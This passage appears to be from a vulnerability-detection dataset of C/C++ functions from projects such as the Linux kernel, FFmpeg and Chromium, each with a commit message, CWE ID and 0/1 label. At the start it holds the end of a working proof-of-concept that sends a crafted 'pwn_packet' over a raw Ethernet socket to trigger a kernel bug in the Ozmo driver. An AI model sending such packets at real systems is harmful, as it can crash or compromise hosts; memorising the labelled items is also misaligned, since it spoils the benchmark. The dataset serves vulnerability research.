perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-189
| 1
| 166,619
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: get_control_selector_name(guint8 entity_id, guint8 control_sel, usb_conv_info_t *usb_conv_info)
{
const gchar *control_name = NULL;
value_string_ext *selectors = NULL;
selectors = get_control_selector_values(entity_id, usb_conv_info);
if (selectors)
control_name = try_val_to_str_ext(control_sel, selectors);
return control_name;
}
Commit Message: Make class "type" for USB conversations.
USB dissectors can't assume that only their class type has been passed around in the conversation. Make explicit check that class type expected matches the dissector and stop/prevent dissection if there isn't a match.
Bug: 12356
Change-Id: Ib23973a4ebd0fbb51952ffc118daf95e3389a209
Reviewed-on: https://code.wireshark.org/review/15212
Petri-Dish: Michael Mann <mmann78@netscape.net>
Reviewed-by: Martin Kaiser <wireshark@kaiser.cx>
Petri-Dish: Martin Kaiser <wireshark@kaiser.cx>
Tested-by: Petri Dish Buildbot <buildbot-no-reply@wireshark.org>
Reviewed-by: Michael Mann <mmann78@netscape.net>
CWE ID: CWE-476
| 0
| 51,837
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int cpu_cfs_period_write_u64(struct cgroup_subsys_state *css,
struct cftype *cftype, u64 cfs_period_us)
{
return tg_set_cfs_period(css_tg(css), cfs_period_us);
}
Commit Message: Merge branch 'stacking-fixes' (vfs stacking fixes from Jann)
Merge filesystem stacking fixes from Jann Horn.
* emailed patches from Jann Horn <jannh@google.com>:
sched: panic on corrupted stack end
ecryptfs: forbid opening files without mmap handler
proc: prevent stacking filesystems on top
CWE ID: CWE-119
| 0
| 55,501
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int handle_eac3(MOVMuxContext *mov, AVPacket *pkt, MOVTrack *track)
{
AC3HeaderInfo *hdr = NULL;
struct eac3_info *info;
int num_blocks, ret;
if (!track->eac3_priv && !(track->eac3_priv = av_mallocz(sizeof(*info))))
return AVERROR(ENOMEM);
info = track->eac3_priv;
if (avpriv_ac3_parse_header(&hdr, pkt->data, pkt->size) < 0) {
/* drop the packets until we see a good one */
if (!track->entry) {
av_log(mov, AV_LOG_WARNING, "Dropping invalid packet from start of the stream\n");
ret = 0;
} else
ret = AVERROR_INVALIDDATA;
goto end;
}
info->data_rate = FFMAX(info->data_rate, hdr->bit_rate / 1000);
num_blocks = hdr->num_blocks;
if (!info->ec3_done) {
/* AC-3 substream must be the first one */
if (hdr->bitstream_id <= 10 && hdr->substreamid != 0) {
ret = AVERROR(EINVAL);
goto end;
}
/* this should always be the case, given that our AC-3 parser
* concatenates dependent frames to their independent parent */
if (hdr->frame_type == EAC3_FRAME_TYPE_INDEPENDENT) {
/* substream ids must be incremental */
if (hdr->substreamid > info->num_ind_sub + 1) {
ret = AVERROR(EINVAL);
goto end;
}
if (hdr->substreamid == info->num_ind_sub + 1) {
avpriv_request_sample(track->par, "Multiple independent substreams");
ret = AVERROR_PATCHWELCOME;
goto end;
} else if (hdr->substreamid < info->num_ind_sub ||
hdr->substreamid == 0 && info->substream[0].bsid) {
info->ec3_done = 1;
goto concatenate;
}
}
/* fill the info needed for the "dec3" atom */
info->substream[hdr->substreamid].fscod = hdr->sr_code;
info->substream[hdr->substreamid].bsid = hdr->bitstream_id;
info->substream[hdr->substreamid].bsmod = hdr->bitstream_mode;
info->substream[hdr->substreamid].acmod = hdr->channel_mode;
info->substream[hdr->substreamid].lfeon = hdr->lfe_on;
/* Parse dependent substream(s), if any */
if (pkt->size != hdr->frame_size) {
int cumul_size = hdr->frame_size;
int parent = hdr->substreamid;
while (cumul_size != pkt->size) {
GetBitContext gbc;
int i;
ret = avpriv_ac3_parse_header(&hdr, pkt->data + cumul_size, pkt->size - cumul_size);
if (ret < 0)
goto end;
if (hdr->frame_type != EAC3_FRAME_TYPE_DEPENDENT) {
ret = AVERROR(EINVAL);
goto end;
}
info->substream[parent].num_dep_sub++;
ret /= 8;
/* header is parsed up to lfeon, but custom channel map may be needed */
init_get_bits8(&gbc, pkt->data + cumul_size + ret, pkt->size - cumul_size - ret);
/* skip bsid */
skip_bits(&gbc, 5);
/* skip volume control params */
for (i = 0; i < (hdr->channel_mode ? 1 : 2); i++) {
skip_bits(&gbc, 5); // skip dialog normalization
if (get_bits1(&gbc)) {
skip_bits(&gbc, 8); // skip compression gain word
}
}
/* get the dependent stream channel map, if exists */
if (get_bits1(&gbc))
info->substream[parent].chan_loc |= (get_bits(&gbc, 16) >> 5) & 0x1f;
else
info->substream[parent].chan_loc |= hdr->channel_mode;
cumul_size += hdr->frame_size;
}
}
}
concatenate:
if (!info->num_blocks && num_blocks == 6) {
ret = pkt->size;
goto end;
}
else if (info->num_blocks + num_blocks > 6) {
ret = AVERROR_INVALIDDATA;
goto end;
}
if (!info->num_blocks) {
ret = av_packet_ref(&info->pkt, pkt);
if (!ret)
info->num_blocks = num_blocks;
goto end;
} else {
if ((ret = av_grow_packet(&info->pkt, pkt->size)) < 0)
goto end;
memcpy(info->pkt.data + info->pkt.size - pkt->size, pkt->data, pkt->size);
info->num_blocks += num_blocks;
info->pkt.duration += pkt->duration;
if ((ret = av_copy_packet_side_data(&info->pkt, pkt)) < 0)
goto end;
if (info->num_blocks != 6)
goto end;
av_packet_unref(pkt);
av_packet_move_ref(pkt, &info->pkt);
info->num_blocks = 0;
}
ret = pkt->size;
end:
av_free(hdr);
return ret;
}
Commit Message: avformat/movenc: Check that frame_types other than EAC3_FRAME_TYPE_INDEPENDENT have a supported substream id
Fixes: out of array access
Fixes: ffmpeg_bof_1.avi
Found-by: Thuan Pham, Marcel Böhme, Andrew Santosa and Alexandru Razvan Caciulescu with AFLSmart
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-129
| 1
| 169,159
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool InputMethodController::SetEditableSelectionOffsets(
const PlainTextRange& selection_offsets,
TypingContinuation typing_continuation) {
if (!GetEditor().CanEdit())
return false;
return SetSelectionOffsets(selection_offsets, typing_continuation);
}
Commit Message: Move SelectionTemplate::is_handle_visible_ to FrameSelection
This patch moves |is_handle_visible_| to |FrameSelection| from |SelectionTemplate|
since handle visibility is used only for setting |FrameSelection|, hence it is
a redundant member variable of |SelectionTemplate|.
Bug: 742093
Change-Id: I3add4da3844fb40be34dcb4d4b46b5fa6fed1d7e
Reviewed-on: https://chromium-review.googlesource.com/595389
Commit-Queue: Yoshifumi Inoue <yosin@chromium.org>
Reviewed-by: Xiaocheng Hu <xiaochengh@chromium.org>
Reviewed-by: Kent Tamura <tkent@chromium.org>
Cr-Commit-Position: refs/heads/master@{#491660}
CWE ID: CWE-119
| 0
| 124,896
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: virtual QueryManager* GetQueryManager() { return query_manager_.get(); }
Commit Message: Fix SafeAdd and SafeMultiply
BUG=145648,145544
Review URL: https://chromiumcodereview.appspot.com/10916165
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@155478 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-189
| 0
| 103,606
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int ldm_relative(const u8 *buffer, int buflen, int base, int offset)
{
base += offset;
if (!buffer || offset < 0 || base > buflen) {
if (!buffer)
ldm_error("!buffer");
if (offset < 0)
ldm_error("offset (%d) < 0", offset);
if (base > buflen)
ldm_error("base (%d) > buflen (%d)", base, buflen);
return -1;
}
if (base + buffer[base] >= buflen) {
ldm_error("base (%d) + buffer[base] (%d) >= buflen (%d)", base,
buffer[base], buflen);
return -1;
}
return buffer[base] + offset + 1;
}
Commit Message: Fix for buffer overflow in ldm_frag_add not sufficient
As Ben Hutchings discovered [1], the patch for CVE-2011-1017 (buffer
overflow in ldm_frag_add) is not sufficient. The original patch in
commit c340b1d64000 ("fs/partitions/ldm.c: fix oops caused by corrupted
partition table") does not consider that, for subsequent fragments,
previously allocated memory is used.
[1] http://lkml.org/lkml/2011/5/6/407
Reported-by: Ben Hutchings <ben@decadent.org.uk>
Signed-off-by: Timo Warns <warns@pre-sense.de>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-119
| 0
| 27,329
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int ext4_change_inode_journal_flag(struct inode *inode, int val)
{
journal_t *journal;
handle_t *handle;
int err;
/*
* We have to be very careful here: changing a data block's
* journaling status dynamically is dangerous. If we write a
* data block to the journal, change the status and then delete
* that block, we risk forgetting to revoke the old log record
* from the journal and so a subsequent replay can corrupt data.
* So, first we make sure that the journal is empty and that
* nobody is changing anything.
*/
journal = EXT4_JOURNAL(inode);
if (!journal)
return 0;
if (is_journal_aborted(journal))
return -EROFS;
jbd2_journal_lock_updates(journal);
jbd2_journal_flush(journal);
/*
* OK, there are no updates running now, and all cached data is
* synced to disk. We are now in a completely consistent state
* which doesn't have anything in the journal, and we know that
* no filesystem updates are running, so it is safe to modify
* the inode's in-core data-journaling state flag now.
*/
if (val)
EXT4_I(inode)->i_flags |= EXT4_JOURNAL_DATA_FL;
else
EXT4_I(inode)->i_flags &= ~EXT4_JOURNAL_DATA_FL;
ext4_set_aops(inode);
jbd2_journal_unlock_updates(journal);
/* Finally we can mark the inode as dirty. */
handle = ext4_journal_start(inode, 1);
if (IS_ERR(handle))
return PTR_ERR(handle);
err = ext4_mark_inode_dirty(handle, inode);
ext4_handle_sync(handle);
ext4_journal_stop(handle);
ext4_std_error(inode->i_sb, err);
return err;
}
Commit Message: ext4: use ext4_get_block_write in buffer write
Allocate uninitialized extent before ext4 buffer write and
convert the extent to initialized after io completes.
The purpose is to make sure an extent can only be marked
initialized after it has been written with new data so
we can safely drop the i_mutex lock in ext4 DIO read without
exposing stale data. This helps to improve multi-thread DIO
read performance on high-speed disks.
Skip the nobh and data=journal mount cases to make things simple for now.
Signed-off-by: Jiaying Zhang <jiayingz@google.com>
Signed-off-by: "Theodore Ts'o" <tytso@mit.edu>
CWE ID:
| 0
| 57,490
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int tiocsetd(struct tty_struct *tty, int __user *p)
{
int ldisc;
int ret;
if (get_user(ldisc, p))
return -EFAULT;
ret = tty_set_ldisc(tty, ldisc);
return ret;
}
Commit Message: tty: Fix unsafe ldisc reference via ioctl(TIOCGETD)
ioctl(TIOCGETD) retrieves the line discipline id directly from the
ldisc because the line discipline id (c_line) in termios is untrustworthy;
userspace may have set termios via ioctl(TCSETS*) without actually
changing the line discipline via ioctl(TIOCSETD).
However, directly accessing the current ldisc via tty->ldisc is
unsafe; the ldisc ptr dereferenced may be stale if the line discipline
is changing via ioctl(TIOCSETD) or hangup.
Wait for the line discipline reference (just like read() or write())
to retrieve the "current" line discipline id.
Cc: <stable@vger.kernel.org>
Signed-off-by: Peter Hurley <peter@hurleysoftware.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-362
| 0
| 55,893
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static struct sock *__l2tp_ip6_bind_lookup(struct net *net,
struct in6_addr *laddr,
int dif, u32 tunnel_id)
{
struct hlist_node *node;
struct sock *sk;
sk_for_each_bound(sk, node, &l2tp_ip6_bind_table) {
struct in6_addr *addr = inet6_rcv_saddr(sk);
struct l2tp_ip6_sock *l2tp = l2tp_ip6_sk(sk);
if (l2tp == NULL)
continue;
if ((l2tp->conn_id == tunnel_id) &&
net_eq(sock_net(sk), net) &&
!(addr && ipv6_addr_equal(addr, laddr)) &&
!(sk->sk_bound_dev_if && sk->sk_bound_dev_if != dif))
goto found;
}
sk = NULL;
found:
return sk;
}
Commit Message: l2tp: fix info leak via getsockname()
The L2TP code for IPv6 fails to initialize the l2tp_unused member of
struct sockaddr_l2tpip6 and that for leaks two bytes kernel stack via
the getsockname() syscall. Initialize l2tp_unused with 0 to avoid the
info leak.
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Cc: James Chapman <jchapman@katalix.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-200
| 0
| 34,140
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: send_smtp_trap(const char *node, const char *rsc, const char *task, int target_rc, int rc,
int status, const char *desc)
{
#if ENABLE_ESMTP
smtp_session_t session;
smtp_message_t message;
auth_context_t authctx;
struct sigaction sa;
int len = 20;
int noauth = 1;
int smtp_debug = LOG_DEBUG;
char crm_mail_body[BODY_MAX];
char *crm_mail_subject = NULL;
memset(&sa, 0, sizeof(struct sigaction));
if (node == NULL) {
node = "-";
}
if (rsc == NULL) {
rsc = "-";
}
if (desc == NULL) {
desc = "-";
}
if (crm_mail_to == NULL) {
return 1;
}
if (crm_mail_host == NULL) {
crm_mail_host = "localhost:25";
}
if (crm_mail_prefix == NULL) {
crm_mail_prefix = "Cluster notification";
}
crm_debug("Sending '%s' mail to %s via %s", crm_mail_prefix, crm_mail_to, crm_mail_host);
len += strlen(crm_mail_prefix);
len += strlen(task);
len += strlen(rsc);
len += strlen(node);
len += strlen(desc);
len++;
crm_mail_subject = calloc(1, len);
snprintf(crm_mail_subject, len, "%s - %s event for %s on %s: %s\r\n", crm_mail_prefix, task,
rsc, node, desc);
len = 0;
len += snprintf(crm_mail_body + len, BODY_MAX - len, "\r\n%s\r\n", crm_mail_prefix);
len += snprintf(crm_mail_body + len, BODY_MAX - len, "====\r\n\r\n");
if (rc == target_rc) {
len += snprintf(crm_mail_body + len, BODY_MAX - len,
"Completed operation %s for resource %s on %s\r\n", task, rsc, node);
} else {
len += snprintf(crm_mail_body + len, BODY_MAX - len,
"Operation %s for resource %s on %s failed: %s\r\n", task, rsc, node, desc);
}
len += snprintf(crm_mail_body + len, BODY_MAX - len, "\r\nDetails:\r\n");
len += snprintf(crm_mail_body + len, BODY_MAX - len,
"\toperation status: (%d) %s\r\n", status, services_lrm_status_str(status));
if (status == PCMK_LRM_OP_DONE) {
len += snprintf(crm_mail_body + len, BODY_MAX - len,
"\tscript returned: (%d) %s\r\n", rc, lrmd_event_rc2str(rc));
len += snprintf(crm_mail_body + len, BODY_MAX - len,
"\texpected return value: (%d) %s\r\n", target_rc,
lrmd_event_rc2str(target_rc));
}
auth_client_init();
session = smtp_create_session();
message = smtp_add_message(session);
smtp_starttls_enable(session, Starttls_ENABLED);
sa.sa_handler = SIG_IGN;
sigemptyset(&sa.sa_mask);
sa.sa_flags = 0;
sigaction(SIGPIPE, &sa, NULL);
smtp_set_server(session, crm_mail_host);
authctx = auth_create_context();
auth_set_mechanism_flags(authctx, AUTH_PLUGIN_PLAIN, 0);
smtp_set_eventcb(session, event_cb, NULL);
/* Now tell libESMTP it can use the SMTP AUTH extension.
*/
if (!noauth) {
crm_debug("Adding authentication context");
smtp_auth_set_context(session, authctx);
}
if (crm_mail_from == NULL) {
struct utsname us;
char auto_from[BODY_MAX];
CRM_ASSERT(uname(&us) == 0);
snprintf(auto_from, BODY_MAX, "crm_mon@%s", us.nodename);
smtp_set_reverse_path(message, auto_from);
} else {
/* NULL is ok */
smtp_set_reverse_path(message, crm_mail_from);
}
smtp_set_header(message, "To", NULL /*phrase */ , NULL /*addr */ ); /* "Phrase" <addr> */
smtp_add_recipient(message, crm_mail_to);
/* Set the Subject: header and override any subject line in the message headers. */
smtp_set_header(message, "Subject", crm_mail_subject);
smtp_set_header_option(message, "Subject", Hdr_OVERRIDE, 1);
smtp_set_message_str(message, crm_mail_body);
smtp_set_monitorcb(session, crm_smtp_debug, &smtp_debug, 1);
if (smtp_start_session(session)) {
char buf[128];
int rc = smtp_errno();
crm_err("SMTP server problem: %s (%d)", smtp_strerror(rc, buf, sizeof buf), rc);
} else {
char buf[128];
int rc = smtp_errno();
const smtp_status_t *smtp_status = smtp_message_transfer_status(message);
if (rc != 0) {
crm_err("SMTP server problem: %s (%d)", smtp_strerror(rc, buf, sizeof buf), rc);
}
crm_info("Send status: %d %s", smtp_status->code, crm_str(smtp_status->text));
smtp_enumerate_recipients(message, print_recipient_status, NULL);
}
smtp_destroy_session(session);
auth_destroy_context(authctx);
auth_client_exit();
#endif
return 0;
}
Commit Message: High: core: Internal tls api improvements for reuse with future LRMD tls backend.
CWE ID: CWE-399
| 0
| 33,959
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int hci_uart_tty_open(struct tty_struct *tty)
{
struct hci_uart *hu;
BT_DBG("tty %p", tty);
/* Error if the tty has no write op instead of leaving an exploitable
* hole
*/
if (tty->ops->write == NULL)
return -EOPNOTSUPP;
hu = kzalloc(sizeof(struct hci_uart), GFP_KERNEL);
if (!hu) {
BT_ERR("Can't allocate control structure");
return -ENFILE;
}
tty->disc_data = hu;
hu->tty = tty;
tty->receive_room = 65536;
/* disable alignment support by default */
hu->alignment = 1;
hu->padding = 0;
INIT_WORK(&hu->init_ready, hci_uart_init_work);
INIT_WORK(&hu->write_work, hci_uart_write_work);
percpu_init_rwsem(&hu->proto_lock);
/* Flush any pending characters in the driver */
tty_driver_flush_buffer(tty);
return 0;
}
Commit Message: Bluetooth: hci_ldisc: Postpone HCI_UART_PROTO_READY bit set in hci_uart_set_proto()
task A: task B:
hci_uart_set_proto flush_to_ldisc
- p->open(hu) -> h5_open //alloc h5 - receive_buf
- set_bit HCI_UART_PROTO_READY - tty_port_default_receive_buf
- hci_uart_register_dev - tty_ldisc_receive_buf
- hci_uart_tty_receive
- test_bit HCI_UART_PROTO_READY
- h5_recv
- clear_bit HCI_UART_PROTO_READY while() {
- p->open(hu) -> h5_close //free h5
- h5_rx_3wire_hdr
- h5_reset() //use-after-free
}
It could use ioctl to set hci uart proto, but there is
a use-after-free issue when hci_uart_register_dev() fail in
hci_uart_set_proto(), see stack above, fix this by setting
HCI_UART_PROTO_READY bit only when hci_uart_register_dev()
return success.
Reported-by: syzbot+899a33dc0fa0dbaf06a6@syzkaller.appspotmail.com
Signed-off-by: Kefeng Wang <wangkefeng.wang@huawei.com>
Reviewed-by: Jeremy Cline <jcline@redhat.com>
Signed-off-by: Marcel Holtmann <marcel@holtmann.org>
CWE ID: CWE-416
| 0
| 88,167
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: create_signature(unsigned char **sig, unsigned int *sig_len,
unsigned char *data, unsigned int data_len, EVP_PKEY *pkey)
{
krb5_error_code retval = ENOMEM;
EVP_MD_CTX md_ctx;
if (pkey == NULL)
return retval;
EVP_VerifyInit(&md_ctx, EVP_sha1());
EVP_SignUpdate(&md_ctx, data, data_len);
*sig_len = EVP_PKEY_size(pkey);
if ((*sig = malloc(*sig_len)) == NULL)
goto cleanup;
EVP_SignFinal(&md_ctx, *sig, sig_len, pkey);
retval = 0;
cleanup:
EVP_MD_CTX_cleanup(&md_ctx);
return retval;
}
Commit Message: PKINIT null pointer deref [CVE-2013-1415]
Don't dereference a null pointer when cleaning up.
The KDC plugin for PKINIT can dereference a null pointer when a
malformed packet causes processing to terminate early, leading to
a crash of the KDC process. An attacker would need to have a valid
PKINIT certificate or have observed a successful PKINIT authentication,
or an unauthenticated attacker could execute the attack if anonymous
PKINIT is enabled.
CVSSv2 vector: AV:N/AC:M/Au:N/C:N/I:N/A:C/E:P/RL:O/RC:C
This is a minimal commit for pullup; style fixes in a followup.
[kaduk@mit.edu: reformat and edit commit message]
(cherry picked from commit c773d3c775e9b2d88bcdff5f8a8ba88d7ec4e8ed)
ticket: 7570
version_fixed: 1.11.1
status: resolved
CWE ID:
| 0
| 33,618
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: String Document::outgoingReferrer()
{
Document* referrerDocument = this;
if (LocalFrame* frame = m_frame) {
while (frame->document()->isSrcdocDocument()) {
frame = toLocalFrame(frame->tree().parent());
ASSERT(frame);
}
referrerDocument = frame->document();
}
return referrerDocument->m_url.strippedForUseAsReferrer();
}
Commit Message: Correctly keep track of isolates for microtask execution
BUG=487155
R=haraken@chromium.org
Review URL: https://codereview.chromium.org/1161823002
git-svn-id: svn://svn.chromium.org/blink/trunk@195985 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-254
| 0
| 127,534
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void GraphicsContext::concatCTM(const AffineTransform& transform)
{
if (paintingDisabled())
return;
#if USE(WXGC)
wxGraphicsContext* gc = m_data->context->GetGraphicsContext();
if (gc)
gc->ConcatTransform(transform);
#endif
return;
}
Commit Message: Reviewed by Kevin Ollivier.
[wx] Fix strokeArc and fillRoundedRect drawing, and add clipPath support.
https://bugs.webkit.org/show_bug.cgi?id=60847
git-svn-id: svn://svn.chromium.org/blink/trunk@86502 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 100,079
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void PDFiumEngine::ContinueLoadingDocument(const std::string& password) {
ScopedUnsupportedFeature scoped_unsupported_feature(this);
ScopedSubstFont scoped_subst_font(this);
bool needs_password = false;
bool loaded = TryLoadingDoc(password, &needs_password);
bool password_incorrect = !loaded && needs_password && !password.empty();
if (password_incorrect && password_tries_remaining_ > 0) {
GetPasswordAndLoad();
return;
}
if (!doc_) {
client_->DocumentLoadFailed();
return;
}
if (FPDFDoc_GetPageMode(doc_) == PAGEMODE_USEOUTLINES)
client_->DocumentHasUnsupportedFeature("Bookmarks");
permissions_ = FPDF_GetDocPermissions(doc_);
permissions_handler_revision_ = FPDF_GetSecurityHandlerRevision(doc_);
LoadBody();
if (doc_loader_->IsDocumentComplete())
FinishLoadingDocument();
}
Commit Message: [pdf] Use a temporary list when unloading pages
When traversing the |deferred_page_unloads_| list and handling the
unloads it's possible for new pages to get added to the list which will
invalidate the iterator.
This CL swaps the list with an empty list and does the iteration on the
list copy. New items that are unloaded while handling the defers will be
unloaded at a later point.
Bug: 780450
Change-Id: Ic7ced1c82227109784fb536ce19a4dd51b9119ac
Reviewed-on: https://chromium-review.googlesource.com/758916
Commit-Queue: dsinclair <dsinclair@chromium.org>
Reviewed-by: Lei Zhang <thestig@chromium.org>
Cr-Commit-Position: refs/heads/master@{#515056}
CWE ID: CWE-416
| 0
| 146,092
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int do_io_accounting(struct task_struct *task, char *buffer, int whole)
{
struct task_io_accounting acct = task->ioac;
unsigned long flags;
if (whole && lock_task_sighand(task, &flags)) {
struct task_struct *t = task;
task_io_accounting_add(&acct, &task->signal->ioac);
while_each_thread(task, t)
task_io_accounting_add(&acct, &t->ioac);
unlock_task_sighand(task, &flags);
}
return sprintf(buffer,
"rchar: %llu\n"
"wchar: %llu\n"
"syscr: %llu\n"
"syscw: %llu\n"
"read_bytes: %llu\n"
"write_bytes: %llu\n"
"cancelled_write_bytes: %llu\n",
(unsigned long long)acct.rchar,
(unsigned long long)acct.wchar,
(unsigned long long)acct.syscr,
(unsigned long long)acct.syscw,
(unsigned long long)acct.read_bytes,
(unsigned long long)acct.write_bytes,
(unsigned long long)acct.cancelled_write_bytes);
}
Commit Message: proc: restrict access to /proc/PID/io
/proc/PID/io may be used for gathering private information. E.g. for
openssh and vsftpd daemons wchars/rchars may be used to learn the
precise password length. Restrict it to processes being able to ptrace
the target process.
ptrace_may_access() is needed to prevent keeping open file descriptor of
"io" file, executing setuid binary and gathering io information of the
setuid'ed process.
Signed-off-by: Vasiliy Kulikov <segoon@openwall.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-264
| 1
| 165,860
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void mt_decode_macroblock(VP8D_COMP *pbi, MACROBLOCKD *xd,
unsigned int mb_idx)
{
MB_PREDICTION_MODE mode;
int i;
#if CONFIG_ERROR_CONCEALMENT
int corruption_detected = 0;
#else
(void)mb_idx;
#endif
if (xd->mode_info_context->mbmi.mb_skip_coeff)
{
vp8_reset_mb_tokens_context(xd);
}
else if (!vp8dx_bool_error(xd->current_bc))
{
int eobtotal;
eobtotal = vp8_decode_mb_tokens(pbi, xd);
/* Special case: Force the loopfilter to skip when eobtotal is zero */
xd->mode_info_context->mbmi.mb_skip_coeff = (eobtotal==0);
}
mode = xd->mode_info_context->mbmi.mode;
if (xd->segmentation_enabled)
vp8_mb_init_dequantizer(pbi, xd);
#if CONFIG_ERROR_CONCEALMENT
if(pbi->ec_active)
{
int throw_residual;
/* When we have independent partitions we can apply residual even
* though other partitions within the frame are corrupt.
*/
throw_residual = (!pbi->independent_partitions &&
pbi->frame_corrupt_residual);
throw_residual = (throw_residual || vp8dx_bool_error(xd->current_bc));
if ((mb_idx >= pbi->mvs_corrupt_from_mb || throw_residual))
{
/* MB with corrupt residuals or corrupt mode/motion vectors.
* Better to use the predictor as reconstruction.
*/
pbi->frame_corrupt_residual = 1;
memset(xd->qcoeff, 0, sizeof(xd->qcoeff));
vp8_conceal_corrupt_mb(xd);
corruption_detected = 1;
/* force idct to be skipped for B_PRED and use the
* prediction only for reconstruction
* */
memset(xd->eobs, 0, 25);
}
}
#endif
/* do prediction */
if (xd->mode_info_context->mbmi.ref_frame == INTRA_FRAME)
{
vp8_build_intra_predictors_mbuv_s(xd,
xd->recon_above[1],
xd->recon_above[2],
xd->recon_left[1],
xd->recon_left[2],
xd->recon_left_stride[1],
xd->dst.u_buffer, xd->dst.v_buffer,
xd->dst.uv_stride);
if (mode != B_PRED)
{
